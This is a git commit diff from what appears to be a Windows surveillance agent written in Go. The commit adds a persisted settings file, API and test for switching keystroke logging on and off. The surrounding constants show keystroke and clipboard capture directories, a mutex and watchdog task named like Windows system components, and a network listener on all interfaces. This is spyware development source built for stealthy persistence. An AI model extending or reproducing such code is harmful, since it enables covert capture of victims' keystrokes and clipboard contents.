feat(agent): add persistent klogging settings
- Add settings API and UI to toggle keylog - Persist preference in settings.json - Expose klogging state in status endpoint - Inject build version into web console - Bump version automatically on build
This commit is contained in:
+11
-1
@@ -8,8 +8,10 @@ import (
|
||||
"time"
|
||||
)
|
||||
|
||||
// Version is the agent build version. scripts/build.sh overwrites this via -X.
|
||||
var Version = "1.0.0"
|
||||
|
||||
const (
|
||||
Version = "1.0.0"
|
||||
DefaultAddr = "0.0.0.0:5032"
|
||||
MutexName = "win64_mp_Mutex"
|
||||
RestartDelay = 3 * time.Second
|
||||
@@ -32,6 +34,7 @@ const (
|
||||
KeylogSubdir = "keystrokes"
|
||||
LogsSubdir = "logs"
|
||||
ClipboardSubdir = "clipboard"
|
||||
SettingsFileName = "settings.json"
|
||||
WatchdogTaskName = "win64_mp_watchdog"
|
||||
DefaultKeylogRetentionDays = 7
|
||||
AuthUser = "admin"
|
||||
@@ -46,6 +49,13 @@ func EnvOr(name, fallback string) string {
|
||||
}
|
||||
|
||||
func KeylogEnabled() bool {
|
||||
if on, ok := readKeylogPref(); ok {
|
||||
return on
|
||||
}
|
||||
return envKeylogEnabled()
|
||||
}
|
||||
|
||||
func envKeylogEnabled() bool {
|
||||
switch strings.ToLower(strings.TrimSpace(os.Getenv("KEYLOG_ENABLED"))) {
|
||||
case "0", "false", "no", "off":
|
||||
return false
|
||||
|
||||
@@ -0,0 +1,75 @@
|
||||
package config
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"os"
|
||||
"path/filepath"
|
||||
)
|
||||
|
||||
type fileSettings struct {
|
||||
Klogging *bool `json:"klogging,omitempty"`
|
||||
KeylogEnabled *bool `json:"keylog_enabled,omitempty"` // legacy
|
||||
}
|
||||
|
||||
func settingsPath() (string, error) {
|
||||
dir, err := InstallDir()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
return filepath.Join(dir, SettingsFileName), nil
|
||||
}
|
||||
|
||||
func readKeylogPref() (bool, bool) {
|
||||
s, err := loadFileSettings()
|
||||
if err != nil {
|
||||
return false, false
|
||||
}
|
||||
if s.Klogging != nil {
|
||||
return *s.Klogging, true
|
||||
}
|
||||
if s.KeylogEnabled != nil {
|
||||
return *s.KeylogEnabled, true
|
||||
}
|
||||
return false, false
|
||||
}
|
||||
|
||||
func SetKeylogEnabled(on bool) error {
|
||||
s, err := loadFileSettings()
|
||||
if err != nil && !os.IsNotExist(err) {
|
||||
s = fileSettings{}
|
||||
}
|
||||
s.Klogging = &on
|
||||
s.KeylogEnabled = nil
|
||||
return saveFileSettings(s)
|
||||
}
|
||||
|
||||
func loadFileSettings() (fileSettings, error) {
|
||||
path, err := settingsPath()
|
||||
if err != nil {
|
||||
return fileSettings{}, err
|
||||
}
|
||||
raw, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
return fileSettings{}, err
|
||||
}
|
||||
var s fileSettings
|
||||
if err := json.Unmarshal(raw, &s); err != nil {
|
||||
return fileSettings{}, err
|
||||
}
|
||||
return s, nil
|
||||
}
|
||||
|
||||
func saveFileSettings(s fileSettings) error {
|
||||
path, err := settingsPath()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if err := os.MkdirAll(filepath.Dir(path), 0o700); err != nil {
|
||||
return err
|
||||
}
|
||||
raw, err := json.Marshal(s)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return os.WriteFile(path, append(raw, '\n'), 0o600)
|
||||
}
|
||||
@@ -0,0 +1,45 @@
|
||||
package config
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestKeylogPrefOverridesEnv(t *testing.T) {
|
||||
base := t.TempDir()
|
||||
t.Setenv("XDG_CONFIG_HOME", base)
|
||||
t.Setenv("APPDATA", base)
|
||||
t.Setenv("KEYLOG_ENABLED", "1")
|
||||
|
||||
if !KeylogEnabled() {
|
||||
t.Fatal("expected env default on")
|
||||
}
|
||||
if err := SetKeylogEnabled(false); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if KeylogEnabled() {
|
||||
t.Fatal("pref should disable keylog")
|
||||
}
|
||||
if err := SetKeylogEnabled(true); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !KeylogEnabled() {
|
||||
t.Fatal("pref should enable keylog")
|
||||
}
|
||||
raw, err := os.ReadFile(filepath.Join(base, AppDataDir, SettingsFileName))
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
var s fileSettings
|
||||
if err := json.Unmarshal(raw, &s); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if s.Klogging == nil || !*s.Klogging {
|
||||
t.Fatalf("saved settings = %s", raw)
|
||||
}
|
||||
if s.KeylogEnabled != nil {
|
||||
t.Fatalf("legacy keylog_enabled should be dropped, got %s", raw)
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user